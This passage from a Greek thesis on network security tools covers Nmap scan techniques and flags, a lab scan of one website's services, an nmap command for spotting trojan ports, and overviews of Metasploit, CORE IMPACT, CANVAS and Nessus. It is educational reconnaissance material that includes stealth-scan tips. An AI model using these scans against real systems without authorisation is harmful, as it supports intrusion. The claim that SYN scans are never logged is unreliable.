δεν μπορεί να προσδιορίσει ποια από τις δύο καταστάσεις την περιγράφουν. Ο πίνακας θυρών μπορεί επίσης να περιλαμβάνει λεπτομέρειες για την έκδοση του λογισμικού όταν η ανίχνευση έκδοσης έχει ζητηθεί. Όταν ένα πρωτόκολλο IP σάρωσης ζητείται (-SO), το Nmap παρέχει πληροφορίες σχετικά με τα υποστηριζόμενα πρωτόκολλα IP και όχι με τις θύρες ακρόασης. (Γιαννόπουλος, 2008). 40

43 2.4 Χαρακτηριστικά του Nmap Ευέλικτo: Υποστηρίζει τις περισσότερες των προηγμένων τεχνικών για την χαρτογράφηση των δικτύων που είναι γεμάτα με IP φίλτρα, firewalls, δρομολογητές, και άλλα εμπόδια. Αυτό περιλαμβάνει πολλούς μηχανισμούς ανίχνευσης θυρών TCP & UDP, ανίχνευση του Λειτουργικού Συστήματος, ανίχνευση έκδοσης, καθώς και απαλοιφή δικτυακού θορύβου (noise). Ισχυρό: Το Nmap έχει χρησιμοποιηθεί για να ανιχνεύσει τεράστια δίκτυα κυριολεκτικά εκατοντάδες χιλιάδες των μηχανών. (Πολύ)Προσαρμοστικό: Τα περισσότερα λειτουργικά συστήματα υποστηρίζονται, συμπεριλαμβανομένου του Linux, Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, το HP-UX, NetBSD, η Sun OS, και Amiga Εύκολο: Ενώ το Nmap προσφέρει ένα πλούσιο σύνολο προηγμένων χαρακτηριστικών για τους έμπειρους χρήστες μπορεί να αρχίσει κανείς την ανίχνευση ενός απομακρυσμένου υπολογιστή στόχου (targethost) απλά με την εντολή "nmap targethost" όπου targethost η διεύθυνση IP του συστήματος στόχου. Και η GUI αλλά και η command line έκδοση είναι διαθέσιμες στο επίπεδο προσαρμογής και προτίμησης του χρήστη. Ελεύθερο: Πρωταρχικοί στόχοι του προγράμματος Nmap είναι να βοηθήσει να γίνει το Διαδίκτυο λίγο πιο ασφαλές και να παρέχουν στους διαχειριστές / ελεγκτές / hackers ένα εξελιγμένο και σύγχρονο εργαλείο για την εξερεύνηση των δικτύων τους. Το Nmap είναι διαθέσιμο για δωρεάν download, αλλά και έρχεται με πλήρη πηγαίο κώδικα που μπορείτε να τροποποιήσετε και να αναδιανέμεται υπό τους όρους της άδειας. [ Καλά τεκμηριωμένο: Σημαντική προσπάθεια έχει τεθεί στη διάθεση περιεκτικές και ενημερωμένων βοηθημάτων, εργαλειών, και εγχειριδίων σε διάφορες γλώσσες του κόσμου. Υποστηριζόμενα: Ενώ το Nmap έρχεται δεν παρέχει καμία εγγύηση, είναι καλά υποστηριζόμενο από μια ζωντανή κοινότητα των προγραμματιστών και χρηστών. Οι περισσότεροι από αυτή την αλληλεπίδραση εμφανίζεται στις λίστες αλληλογραφίας Nmap. Οι περισσότερες αναφορές bug και οι ερωτήσεις θα πρέπει να αποστέλλονται στη λίστα nmap-dev, αλλά μόνο αφού έχετε διαβάσει τις κατευθυντήριες γραμμές. Τέλος παρέχεται συνομιλία σε πραγματικό χρόνο, στο κανάλι #nmap στο Freenode ή EFNet. Διακεκριμένο: Το Nmap έχει κερδίσει πολυάριθμα βραβεία, συμπεριλαμβανομένου του Προϊόντος ασφάλειας πληροφοριών της Χρονιάς από το Linux Journal, το Info World και το Codetalker Digest. Έχει προβληθεί σε εκατοντάδες άρθρα 41

44 περιοδικών, πολλές ταινίες, δεκάδες βιβλία, και μια σειρά κόμικς. Δημοφιλές: Χιλιάδες άνθρωποι κατεβάζουν το Nmap κάθε μέρα. Επιπλέον συμπεριλαμβάνεται σε πολλά Λειτουργικά Συστήματα (Redhat Linux, Debian Linux, το Gentoo, FreeBSD, OpenBSD, Backtrack κλπ). Τέλος είναι μεταξύ των κορυφαίων δέκα (από ) προγραμμάτων στην αποθήκη δικτύου Freshmeat.Net. Αυτό είναι σημαντικό, επειδή δίνεται βήμα στο Nmap μπροστά στις ενεργές κοινότητες χρηστών και προγραμματιστών ανάπτυξης εφαρμογών δημιουργώντας έτσι μια εποικοδομητική αλληλεπίδραση μεταξύ τους. ( 2.5 Μέθοδοι Ανίχνευσης του Nmap Το Nmap περιέχει περίπου 15 μεθόδους ανίχνευσης, και 20 διαφορετικές επιλογές για να χρησιμοποιηθούν κατά την ανίχνευση ενώ τα αποτελέσματα μπορούν να παρουσιάζονται τουλάχιστον με 4 διαφορετικούς τρόπους. Η αλήθεια είναι πως το Nmap φαίνεται να δημιουργεί μια ιδιαίτερα μεγάλη πολυπλοκότητα στον αρχάριο ακόμα και στο μέσο χρήστη. Η δυσκολία αυτή δεν έγκειται στη συνθετότητα της εντολοδότησης ακόμα και για αρκετά σύνθετες διαδικασίες, αλλά στο να μπορεί να διακρίνει κανείς το πότε είναι ωφέλιμο και απαραίτητο να χρησιμοποιηθούν συγκεκριμένες εντολές, παράμετροι ή μέθοδοι ανίχνευσης ώστε να υπάρξουν τα βέλτιστα αποτελέσματα. Είναι προφανές ότι κάθε διαδικασία ανίχνευσης και σάρωσης έχει τα δικά της πλεονεκτήματα και μειονεκτήματα. Φυσικά υπάρχουν και επιλογές που σχεδόν πάντα δίνουν ωφέλιμα και χρήσιμα αποτελέσματα. Οί πιο βασικές τεχνικές ανίχνευσης παρουσιάζονται παρακάτω : ΤCP SYN Scan (-ss) Το TCP SYN Scan χρησιμοποιεί συνηθισμένες μεθόδους αναγνώρισης θυρών όπου επιτρέπουν στό πρόγραμμα να συλλέξει εύκολα πληροφορίες μόνο όμως για ανοιχτές κλειστές ή φιλτραρισμένες θύρες χωρίς να ολοκληρώνει τη διαδικασία της TCP χειραψίας. Όταν μια ανοιχτή θύρα αναγνωριστεί η διαδικασία της TCP χειραψίας μηδενίζεται (reset) με RST frame πριν αυτή ολοκληρωθεί. Αυτή η τεχνική συχνά αναφέρεται ως half open σάρωση. Πλεονεκτεί στο ότι είναι μια αρκετά ελαφριά και διακριτική διαδικασία, αφού δεν καταγράφεται ποτέ στα logs του ανιχνευόμενου σταθμού αφού η διαδικασία δεν ολοκληρώνεται. Αν δεν έχουμε προσδιορίσει τι τύπο ανίχνευσης θέλουμε στη γραμμή εντολών και έχουμε όλα τα προνόμια στο σύστημα (root) η συγκεκριμένη τεχνική χρησιμοποιείται αυτόματα (by default). Οι περισσότερες θύρες που εξετάζονται σε μια τέτοια σάρωση πιθανότατα θα είναι κλειστές. Αυτές οι κλειστές θύρες του ανιχνευόμενου στόχου μας σαν απάντηση στο TCP scan θα δώσουν ένα RST frame ώστε να εκμηδενίσουν τη διαδικασία και η χειραψία να μην ολοκληρωθεί ποτέ. Εάν όμως το Nmap λάβει μια επιβεβαίωση (ACK) (session request acknowledgment), τότε ξέρουμε ότι αυτή η θύρα είναι ανοιχτή κατόπιν το 42

45 Nmap στέλνει μια RST (reset) ώστε να διακοπεί η επικοινωνία και να μην ολοκληρωθεί ποτέ η χειραψία. Η ΤCP SYN scan παρέχει πληροφόρηση μόνο για ανοιχτές κλειστές ή φιλτραρισμένες θύρες. TCP connect() Scan (-st) Εδώ το Nmap, για να ανιχνεύσει ανοιχτές θύρες σε αντίθεση με τη παραπάνω μέθοδο χρησιμοποιεί κανονικά τη τριμέρη χειραψία του Λειτουργικού Συστήματος ώστε να συνδεθεί σε απομακρυσμένες συσκευές όπως θα γινόταν από κάθε εφαρμογή σε κάθε TCP τύπου χειραψία σύνδεσης μέσα στο δίκτυο. Παρόλο που αυτή η τεχνική δε μας προσφέρει κάποιες ξεχωριστές δυνατότητες, είναι σημαντικό το ότι δεν απαιτεί προνομιούχα πρόσβαση για να τη χρησιμοποιήσουμε. Φυσικά σε αυτή τη περίπτωση χάνουμε σημαντικά τη διακριτικότητα, αφού ακολουθώντας την ολοκληρωμένη διαδικασία χειραψίας το RST πλαίσιο στέλνεται μετά την επιβεβαίωση (ACK) της πηγής προς τον παραλήπτη και άρα τα log αρχεία ενημερώνονται και διαδικασίες σε επίπεδο εφαρμογής επίσης αρχίζουν να βγαίνουν στην επιφάνεια. (Gordon Fyodor Lyon, 2008) Stealth Scanning: -FIN Scan (-sf), Xmas Tree Scan (-sx) & Null Scan (-sn) Αυτές οι τρείς τεχνικές ομαδοποιούνται ως Stealth (κρυφές) σαρώσεις γιατί στέλνουν ένα μοναδικό και απλοποιημένο πλαίσιο TCP σε μια θύρα χωρίς οποιαδήποτε διαδικασία TCP χειραψίας, πριν, ή άλλες επιπρόσθετες μεταφορές πακέτων περιμένοντας τελικά μια ανταπόκριση. Οι ανιχνεύσεις αυτές λειτουργούν με το να χειριζόμαστε τα bit της TCP επικεφαλίδας έτσι, ώστε να προκαλούν μια ανταπόκριση από την απομακρυσμένη συσκευή. Οι επικεφαλίδες που προκύπτουν είναι εντελώς τεχνητές και σε καμία περίπτωση δε θα προέκυπταν σε πραγματικές δικτυακές καταστάσεις, όπως στη περίπτωση επικεφαλίδας του Xmas Tree Scan όπου έχουμε διαρκώς εναλλασσόμενα bit ή στο Null Scan όπου μηδενίζονται όλες οι flags δημιουργώντας έτσι μια τεχνητή έλλειψη flags. Φυσικά η διακριτικότητα είναι αξιοσημείωτη σε αυτές τις τεχνικές αφού οι ανιχνεύσεις αυτές είναι άφαντες στις εφαρμογές του απομακρυσμένου στόχου και έτσι και στα log αρχεία δε φαίνεται τίποτα. Ακόμα σημαντική είναι και η μινιμαλιστική διάσταση αυτών των τεχνικών αφού ένα πλαίσιο μηνύματος είναι αρκετό για να βρεθεί μια ανοιχτή θύρα καταλαμβάνοντας έτσι ελάχιστο εύρος ζώνης της σύνδεσης μας. Το είδος της ανταπόκρισης που θα προκύψει σε αυτά τα ασυνήθιστα μηνύματα επικοινωνίας καθορίζεται από τις αναφορές RFC 793 του TCP όπου λέγεται ότι αν μια κλειστή TCP θύρα δεχτεί πληροφορίες θα πρέπει να στέλνεται ένα RST πλαίσιο ενώ αν είναι ανοιχτή δε θα πρέπει να στέλνεται τίποτα απολύτως. Γνωρίζοντας αυτό το Nmap κατηγοριοποιεί τις θύρες που στέλνει μηνύματα αλλά δεν υπάρχει τρόπος διαφοροποίησης ανάμεσα σε μια ανοιχτή θύρα και σε μια φιλτραρισμένη όπου ένα πακέτο έχει απορριφτεί από τη διαχείριση. Επίσης πρέπει να δοθεί προσοχή σε περιπτώσεις που έχουμε διαφορετικά TCP/IP στρώματα τα οποία χειρίζονται αυτές μας τις ανιχνεύσεις με διαφορετικούς τρόπους και έτσι ίσως χρειαστεί να τρέξουμε και άλλες κρυφές τεχνικές ανίχνευσης για να έχουμε πιο καθαρή εικόνα. Για παράδειγμα σε συστήματα τύπου Windows στέλνονται RST πακέτα πίσω σε 43

46 κάθε περίπτωση που δέχονται μηνύματα ανεξάρτητα αν είναι ανοιχτή ή κλειστή η αντίστοιχη θύρα. Γεγονός που καθιστά ακατάλληλες αυτές τις τεχνικές για Windows αλλά από την άλλη χρήσιμες γιατί αν έχουμε σαν αποτέλεσμα ανοιχτές θύρες τότε ξέρουμε ότι δεν έχουμε να κάνουμε με Windows συστήματα. Αν δηλαδή δούμε ότι σε ένα δίκτυο όλες οι θύρες είναι κλειστές πολύ πιθανόν αυτό να μην είναι η πραγματικότητα. (Gordon Fyodor Lyon, 2008) ACK Scan (-sa) To ACK Scan μας πληροφορεί για την ύπαρξη ή οχι φίλτρων στην απέναντι πλευρά και ποτέ δεν εγκαθιδρύει μια σύνδεση με το στόχο. Η ACK Scan είναι χρήσιμη ώστε να καθοριστεί η δυνατότητα ενός πακέτου στο να παρακάμψει ένα firewall ή ένα φιλτραρισμένο σύνδεσμο, αφού μπορεί να αναγνωρίζει θύρες μέσα από φιλτραρισμένα συστήματα και κατόπιν μπορούμε να εστιάσουμε σε αυτούς τους αριθμούς θυρών τη προσοχή μας. Είναι μια αρκετά απλή διαδικασία ανταλλαγής μηνυμάτων μεταξύ του Nmap και του απομακρυσμένου σταθμού εργασίας αφού δεν εγκαθιδρύεται σύνοδος και περνά σχεδόν απαρατήρητη αφού φαντάζει αμελητέα μέσα στην υπόλοιπη δικτυακή κίνηση. Δυστυχώς όλη αυτή η απλότητα καθιστά την ACK Scan συχνά ανίκανη να αναγνωρίσει με απόλυτη βεβαιότητα μια ανοιχτή θύρα. (Gordon Fyodor Lyon, 2008) στη δ/νση 44

47 Συνολικά οι μέθοδοι ανίχνευσης με τις παραμέτρους που προσδιορίζουν τη σχετική εντολοδότηση παρουσιάζονται στο παρακάτω Πίνακα 2.1: Μέθοδοι Ανίχνευσης Nmap Παράμετρος Γραμμής Εντολών Προϋπόθεση Δικαιωμάτων Διαχειριστή Αναγνώριση TCP θυρών Αναγνώριση UDP Θυρών TCP SYN Scan -ss ΝΑΙ ΝΑΙ ΟΧΙ TCP connect() Scan -st ΟΧΙ ΝΑΙ ΟΧΙ FIN Scan -sf ΝΑΙ ΝΑΙ ΟΧΙ Xmas Tree Scan -sx ΝΑΙ ΝΑΙ ΟΧΙ Null Scan -sn ΝΑΙ ΝΑΙ ΟΧΙ Ping Scan -sp ΟΧΙ ΟΧΙ ΟΧΙ Version Detection -sv ΟΧΙ ΟΧΙ ΟΧΙ UDP Scan -su ΝΑΙ ΝΑΙ ΝΑΙ IP Protocol Scan -so ΝΑΙ ΝΑΙ ΟΧΙ ACK Scan -sa ΝΑΙ ΝΑΙ ΟΧΙ Window Scan -sw ΝΑΙ ΝΑΙ ΟΧΙ RPC Scan -sr ΟΧΙ ΟΧΙ ΟΧΙ List Scan -sl ΟΧΙ ΟΧΙ ΟΧΙ Idlescan -si ΝΑΙ ΝΑΙ ΟΧΙ FTP Bounce Attack -b ΟΧΙ ΟΧΙ ΟΧΙ Πίνακας 2.1 Χαρακτηριστικά Ανιχνεύσεων του Nmap 45

48 2.6 Χρήση του Nmap για ανιχνεύσεις σε πραγματικές διαδικτυακές υπηρεσίες Στόχος αυτής της ενότητας είναι η πρακτική εφαρμογή διαφόρων ανιχνεύσεων του Nmap για χαρτογράφηση δικτύων αλλά και ανεύρεση υπηρεσιών σε απομακρυσμένα συστήματα. Η ιστοσελίδα που χρησιμοποιήθηκε σε εργαστηριακό επίπεδο είναι το Οι πρακτικές αυτές καθώς και παρόμοιες σε ακόλουθα κεφάλαια αυτής της εργασίας προφανώς και αποτελούν προϊόντα εργαστηριακής εφαρμογής και ακαδημαϊκής έρευνας και ουδέποτε έγιναν με σκοπό τη κακόβουλη αναζήτηση πληροφοριών στις συγκεκριμένες διαδικτυακές υπηρεσίες. Άλλωστε πραγματοποιήθηκαν στα πλαίσια του εικονικού περιβάλλοντος εργασίας που δημιουργήθηκε για τις ανάγκες αυτής της εργασίας. Μετα τη μετατροπή του gewponoi.com σε IP διεύθυνση (αντιστοιχεί στην ) για τη χρήση εφαρμόστηκε η Version Detection Scan με παράμετρο Ο για να ερευνήσει το fingerprint του λειτουργικού συστήματος και να πάρουμε περισσότερες πληροφορίες. Τα αποτελέσματα φαίνονται στην Εικόνα 2.1 που ακολουθεί. Εικόνα

49 Μπορούμε να δούμε παραπάνω ποιες θύρες παρουσιάζουν κάποιο ενδιαφέρον μετά την ανίχνευση. Το Nmap μας παρουσιάζει αναλυτικά αυτές τις θύρες σε τι κατάσταση βρίσκονται και αν υπάρχει κάποια υπηρεσία πάνω τους καθώς και η έκδοση του λογισμικού που χρησιμοποιείται. Όπως μπορούμε να δούμε, το απομακρυσμένο μηχάνημα τρέχει διάφορες υπηρεσίες και υποστηρίζονται διάφορα πρωτόκολλα. Υπάρχει εγκατεστημένος Apache Web Server, χρησιμοποιείται το OpenSSH για την υποστήριξη του SSH για κρυπτογραφημένες συνόδους επικοινωνίας μεταξύ των υπολογιστών του δικτύου. Επίσης έχει Exim SMTPD 4.68 mail server και Pure FTPd για τον FTP Server. Τέλος βλέπουμε πως στην αναφορά προκύπτει ότι δεν υπάρχουν ιδανικές συνθήκες ανίχνευσης για να εντοπιστεί το λειτουργικό σύστημα του απομακρυσμένου εξυπηρετητή. Παρόλ αυτά μπορούμε βλέποντας πως τρέχει το Pure FTPd μπορούμε να καταλάβουμε ότι πρόκειται για ένα Unix-like σύστημα και όχι Windows ή Mac, καθώς ο συγκεκριμένος FTP Server προορίζεται για λειτουργία μόνο σε τέτοιου είδους μηχανήματα. Συνεπώς όπως βλέπουμε μπορούμε να αποκτήσουμε αρκετή πληροφορία σχετικά με το σύστημα στόχο για να κινηθούμε αναλόγως στη συνέχεια για αναζήτηση σχετικών τρωτοτήτων και αδυναμιών. 2.7 Αλίευση αποδεικτικών στοιχείων επιθέσεων ιών και Spyware Οι ιοί και τα spyware παρόλο που έχουν κοινό σκοπό τη προσβολή ενός συστήματος έχουν διαφορετικές ελλοχεύουσες τεχνολογίες. Παραλλαγές των MyDoom, Sasser, Beagle, NetBus, SubSeven και άλλων δούρειων ίππων (Trojan horses) δημιουργούν ανοιχτές θύρες παρέχοντας έμμεσους διαύλους επικοινωνίας στα συστήματα. Μια λύση που μπορεί να προέλθει, είναι μέσα από τη χρήση του Nmap. Ανιχνεύοντας ένα ολόκληρο δίκτυο το Nmap μπορεί εύκολα να εντοπίσει ίχνη δράσης spyware και ιών χρησιμοποιώντας ping μεθόδους ανίχνευσης θυρών και αντίστροφο DNS έλεγχο. Πιο συγκεκριμένα για αυτή τη περίπτωση θα χρησιμοποιήσουμε τις ακόλουθες τεχνικές : Nmap Ping Type: Εάν το ICMP πρωτόκολλο δεν φιλτράρεται στο δίκτυο ενός οργανισμού, ένα ICMP ping (-PE) θα μπορούσε να είναι ένας αποτελεσματικός τρόπος αναγνώρισης ενός ενεργού συστήματος. Εάν όμως το ICMP είναι ενεργά φιλτραρισμένο μια πιο κατάλληλη ping τύπου επιλογή θα πρέπει να επιλεχθεί. Επίσης απ τη στιγμή που αυτή η έρευνα θα ανιχνεύσει ένα μεγάλο αριθμό IP διευθύνσεων μια ping μέθοδος είναι απαραίτητη ώστε να αναγνωρίσουμε τη διαθεσιμότητα των απομακρυσμένων συσκευών. Nmap Scan Type: Από τη στιγμή που πρόκειται για μια απλή ανίχνευση θυρών ένα TCP Scan (-ss) ή UDP Scan (-su) θα μπορούσε να ήταν καλή επιλογή. Διαφορετικές spyware επιθέσεις μπορούν να ανοίξουν TCP ή UDP θύρες και γι αυτό συχνά και οι δύο τύποι θυρών πρέπει να ενσωματωθούν στην ανίχνευσή μας. 47

50 IP διευθύνσεις: Για ευκολία προτείνεται να δημιουργηθεί πρώτα ένα αρχείο που εμπεριέχει τις διευθύνσεις που μας ενδιαφέρουν ώστε να αναφερθούμε σε αυτές με την επιλογή il. Εύρος αριθμών θυρών: Σε αυτό τον έλεγχο θα ανιχνεύσουμε περιορισμένο αριθμό θυρών που σχετίζονται με τις εισβολές spyware και ιών. Εάν και οι TCP και οι UDP θύρες ενταχθούν στην ανίχνευσή μας τότε πρέπει να γίνει χρήση της p παραμέτρου με τις διευκρινήσεις αριθμών θυρών έτσι: U:<udpθύρες>, Τ:<tcpθύρες>. Αντίστροφος DNS έλεγχος: Εάν ένας μεγάλος αριθμός θυρών ερευνηθεί σε βάθος χρόνου καλό είναι να πραγματοποιηθεί ένας αντίστροφος DNS έλεγχος για κάθε συσκευή (-R). Ωστόσο αυτό μπορεί να εισάγει καθυστέρηση στην ανίχνευση μας και ειδικά αν σπάνια αλλάζουν οι IP διευθύνσεις και τότε θα εμποδίζαμε τον αντίστροφο DNS έλεγχο με την επιλογή (-n). Version Detection: Εάν ένας δούρειο ίππος χρησιμοποιεί έναν αριθμό θύρας που είναι κατά κανόνα ανοιχτός στο δίκτυο είναι χρήσιμο να συμπεριλάβουμε μια version detection στην αναζήτηση μας (-sv) ώστε να αναγνωρίσουμε την εφαρμογή που τρέχει στην απομακρυσμένη συσκευή. Αυτή η επιλογή πρέπει να χρησιμοποιείται μόνο αν είναι απαραίτητο γιατί γενικά επιβραδύνει την ανίχνευση μας ειδικά αν συμπεριληφθούν και οι UDP θύρες. Η Nmap εντολή σε μια τέτοια περίπτωση θα είναι η παρακάτω : #nmap vv PE ss su il input.lst -excludefile banned.lst p U: 31337, T: 6713 n oa trojans Μετά την ολοκλήρωση της παραπάνω ανίχνευσης θα έχουμε στη διάθεση μας το αρχείο trojans.gnmap που μπορούμε να το μελετήσουμε για να βρούμε τις παράνομα ανοιχτές θύρες και να φροντίσουμε κατόπιν τη θωράκιση του δικτύου ανάλογα. Τα αρχεία δημιουργούνται στο φάκελο home στο σύστημα Linux της εικονικής μηχανής μας. 48

51 Κεφάλαιο 3 ο 3. ΟΙ ΠΛΑΤΦΟΡΜΕΣ NESSUS KAI METASPLOIT ΚΑΙ ΕΦΑΡΜΟΓΕΣ ΤΟΥΣ 3.1 Επισκόπηση συστημάτων δικτυακής εισβολής Στην ενότητα αυτή περιγράφεται το θεωρητικό υπόβαθρο της εργασίας. Δίνεται ιδιαίτερη έμφαση στη περιγραφή των συστημάτων ανάλυσης ευπαθειών (με μια σύντομη καταγραφή μερικών εξ αυτών), τις βασικές λειτουργίες και δυνατότητες τους καθώς και τις περιπτώσεις χρήσης τους. Επίσης γίνεται σύντομη περιγραφή του Metasploit καθώς και εκτενέστερη περιγραφή του συστήματος Nessus που χρησιμοποιείται ως βοηθητικό πρόγραμμα κατά τη διάρκεια της επίθεσης στο 2 ο κεφάλαιο της εργασίας. 3.2 Γενική περιγραφή συστημάτων ανάλυσης και εκμετάλλευσης ευπαθειών (exploitation frameworks) Τα συστήματα ανάλυσης και εκμετάλλευσης ευπαθειών (exploitation frameworks) είναι υποστηριζόμενα πακέτα λογισμικού τα οποία περιέχουν exploit modules και άλλα χρήσιμα χαρακτηριστικά όπως πράκτορες που χρησιμοποιούνται για επιτυχή επανατοποθέτηση. Αυτά τα περιβάλλοντα εργασίας επιτρέπουν στο χρήστη να χρησιμοποιεί διαφορετικά exploit payload και άλλες μεμονωμένες επιλογές για να μπερδέψουν το κομμάτι κώδικα φλοιού (shellcode) και τη δικτυκή κίνηση με σκοπό να αποφύγουν τον εντοπισμό από κάποιο πιθανώς εγκατεστημένο IDS (Intrusion Detection System). Τα πιο δημοφιλή συστήματα ανάλυσης και εκμετάλλευσης ευπαθειών που χρησιμοποιούνται από συμβούλους ασφάλειας και χάκερς σήμερα είναι τα ακόλουθα: Metasploit Framework ( CORE IMPACT ( Immunity CANVAS ( To Metasploit είναι το μοναδικό εργαλείο ανοιχτού κώδικα από τα παραπάνω τρία καθώς το CORE IMPACT και το CANVAS δεν είναι ανοιχτά λογισμικά και απευθύνονται σε μεγάλες εταιρίες ή σε αρκετά πλούσιους χρήστες οι οποίοι θα πρέπει να καταβάλουν μερικές χιλιάδες δολάρια για να αποκτήσουν δικαιώματα χρήσης αυτών των προγραμμάτων. Στη συνέχεια θα δούμε μια πιο αναλυτική περιγραφή τέτοιων συστημάτων και πιο συγκεκριμένα μέσα από τη μελέτη περίπτωσης του 49

52 Metasploit σε εκτενή περιγραφή καθώς και μια σύντομη αναφορά στα εμπορικά CORE IMPACT και CANVAS. 3.3 Το Metasploit Framework Το Metasploit Framework (MSF) είναι ένα δωρεάν σύστημα ανάλυσης και εκμετάλλευσης αδυναμιών γραμμένο σε Ruby, C/C++ και assembly και είναι διαθέσιμο και για Windows αλλά και Unix-based (Linux, Mac OS X, κλπ.) συστήματα. Το MSF αναπτύχθηκε και βελτιώθηκε από την ομάδα πυρήνα του (H.D. Moore, Matt Miller [skape], και το spoonm) σχετικά πρόσφατα και πλέον ενσωματώνει παραπάνω από 200 exploits. Η τρέχουσα πλήρη λίστα με όλα τα exploits του MSF 3.0 μπορεί να βρεθεί στη διεύθυνση : Αρχιτεκτονική του Metasploit και λειτουργίες του Η αρχιτεκτονική του Metasploit υποστηρίζει τα ακόλουθα: Εκτέλεση των βοηθητικών ενοτήτων και των exploits ενοτήτων (από το τοπικό σύστημα που τρέχει το MSF). Επιλογή των συγκεκριμένων payloads, ρυθμίσεων και επιλογών κωδικοποίησης. Προηγμένη αλληλεπίδραση μέσα από το Metepreter πολυλειτουργικό Windows payload. Το Msf αποτελείται από ένα αριθμό συστατικών που λειτουργούν προκειμένου πρώτα να «συμβιβαστούν» και μετά να αλληλεπιδράσουν με το host. Τα τρία βασικά συστατικά τις αρχιτεκτονικής του Msf είναι τα παρακάτω : 1. Διεπαφή (Interface) : To Metasploit μπορεί να τρέξει με δυο τρόπους. Με αλληλεπιδραστική γραμμή εντολών ή σαν υπηρεσία ιστού υποστηρίζοντας πολλαπλές συνεδρίες και χρήστες. 2. Ενότητες (Modules) : Οι ενότητες του MSF είναι γραμμένες σε Ruby και εμπίπτουν σε δύο κατηγορίες: τις ενότητες εκμετάλλευσης (exploit modules) και τις βοηθητικές ενότητες (auxiliary modules). Οι πρώτες ενότητες ενεργοποιούν υπερχειλίσεις και σφάλματα στον εξυπηρετητή στόχο και εισάγουν το επιλεγμένο payload για να εκτελέσουν κώδικα ή να πραγματοποιήσουν χρήσιμες ενέργειες. Οι βοηθητικές ενότητες υποστηρίζουν άλλες λειτουργίες, όπως port scanning, http testing, Microsoft SQL, και SMB testing. 3. Φορτία (Payloads) : Μετά την επιλογή ενός exploit module, είναι επίσης απαραίτητο να οριστεί το payload. Το payload είναι ένα σενάριο φλοιού που εξαρτάται άμεσα από την αρχιτεκτονική και εκτελείται στο στόχο εξυπηρετητή μετά από επιτυχή συμβιβασμό. Τα payloads μπορούν να χρησιμοποιηθούν για να πραγματοποιήσουν πολλές δράσεις όπως συγκολλώντας ένα command shell σε μια συγκεκριμένη θύρα, ή να επιστρέψει κέλυφος (shell) στο χρήστη. 50

53 Χρησιμοποιώντας το Metasploit Από τη στιγμή που έχει γίνει επιτυχημένη πρόσβαση σε μια κονσόλα MSF, μπορεί να χρησιμοποιηθεί με τους ακόλουθους τρόπους για να γίνει εκμετάλλευση του στόχου: Επιλογή του exploit module που θα χρησιμοποιηθεί. Επιλογή του exploit payload που θα χρησιμοποιηθεί. Επιλογή του συστήματος στόχου και του φορέα διανομής. Ανάθεση της εκμετάλλευσης στόχου και των επιλογών του payload. Για παράδειγμα σε περιβάλλον γραμμής εντολών για να δει κάποιος όλα τα δυνατά exploits προκειμένου να επιλέξει, χρησιμοποιεί την εντολή show exploits. (msf > show exploits) (McNab, 2007) Και τα αποτελέσματα που λαμβάνει είναι σε μια μορφή παρόμοια με τη παρακάτω: Name Description bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow hpux/lpd/cleanup_exec HP-UX LPD Command Execution irix/lpd/tagprinter_exec Irix LPD tagprinter Command Execution linux/games/ut2004_secure Unreal Tournament 2004 "secure" Overflow linux/http/peercast_url PeerCast <= URL Handling Buffer Overflow Το CORE IMPACT Το IMPACT είναι μια πλατφόρμα Windows-based για ανάλυση και εκμετάλλευση ευπαθειών η οποία υποστηρίζει προηγμένα χαρακτηριστικά σχετικά με ανατοποθέτηση και αναφορά παράλληλα με τη χρήση αξιόπιστων exploits κάποια από τα οποία είναι δημοσίως διαθέσιμα. Έχει δυνατότητα στόχευσης σε Windows 7, Vista, 2003, XP 2000, NT4, Linux, Mac OS X, AIX, Sum Solaris, OpenBSD. Αποτελεί τη πιο ολοκληρωμένη και πλούσια σε δυνατότητες εμπορική λύση στη κατηγορία του και παρόλο που το κόστος αυτής της πλατφόρμας αρχίζει από 10,000 $ και μπορεί να ξεπεράσει και τα 50,000$ η περιεκτικότητα, οι δυνατότητες, η ευελιξία και η ευκολία χρήσης αποζημιώνουν με το παραπάνω. Όπως είναι γνωστό πολλές πλατφόρμες ελέγχου και εργαλεία διείσδυσης είναι αρκετά πολύπλοκα και απαιτούν εξειδικευμένους χρήστες και χειριστές. Όπως και πριν στο Metasploit όλη η εντολοδότηση γινόταν από γραμμή εντολών κάτι το οποίο απαιτεί χρόνο για τη σύνταξη κατάλληλων εντολών και ενεργειών. Σε αυτό το τομέα είναι που το IMPACT κάνει τη μεγάλη διαφορά. Πρόκειται για ένα προϊόν για μη ειδικούς ελεγκτές ασφάλειας το οποίο συνεχίζει να διατηρεί τα τεχνολογικά και ποιοτικά στάνταρ που έχει ανάγκη μια καλή τέτοια πλατφόρμα. Όλα τα διαμορφώματα του είναι γραμμένα σε γλώσσα Python και είναι συμβατά με τα CVE (common vulnerability and exposures). 51

54 Το εργαλείο αυτό ανιχνεύει όλες τις κινήσεις των χρηστών του συστήματος και δημιουργεί λεπτομερή ημερολόγια καταγραφής συμπεριφοράς χρηστών και προγραμμάτων. Αξιοσημείωτη είναι η ποικιλία των ποιοτικών, ξεκάθαρων και πάντα περιεκτικών αναφορών και παρουσιάσεων αποτελεσμάτων που διατίθενται για κάθε κατηγορία χρήστη. Επίσης η υποστήριξη είναι κορυφαία και παρόλο που πρόκειται για ένα εμπορικό προϊόν η άδεια καλύπτει άπειρο εύρος IP διευθύνσεων. Το Immunity CANVAS Το CANVAS ( είναι κι αυτό μία εμπορική πλατφόρμα ανάλυσης και εκμετάλλευσης ευπαθειών που υποστηρίζει προηγμένα και σύγχρονα χαρακτηριστικά επανατοποθέτησης παράλληλα με αξιόπιστα exploits τα οποία στη πλειονότητα τους δεν είναι διαθέσιμα στο κοινό σε αντίθεση με του IMPACT. Το CANVAS μπορεί να τρέξει σε Windows, Linux and Mac OS X λειτουργικά συστήματα με την Python και το PyGTK εγκατεστημένα. Το CANVAS είναι μια ανοιχτή πλατφόρμα και οι πελάτες που το έχουν αγοράσει έχουν πλήρη πρόσβαση στο πηγαίο πρόγραμμα, πράγμα που τους δίνει τη δυνατότητα να το παραμετροποιούν και να το προσαρμόζουν στις ανάγκες τους (McNab, 2007). 3.4 Περιγραφή του προγράμματος αποτίμησης ευπαθειών Nessus Γενική περιγραφή του Nessus Το Nessus είναι ένα από τα πιο διαδεδομένα vulnerability scanner με πάνω από 75,000 οργανισμούς παγκοσμίως να το εμπιστεύονται. Επίσης σημαντικό είναι ότι έρχεται πρώτο στην 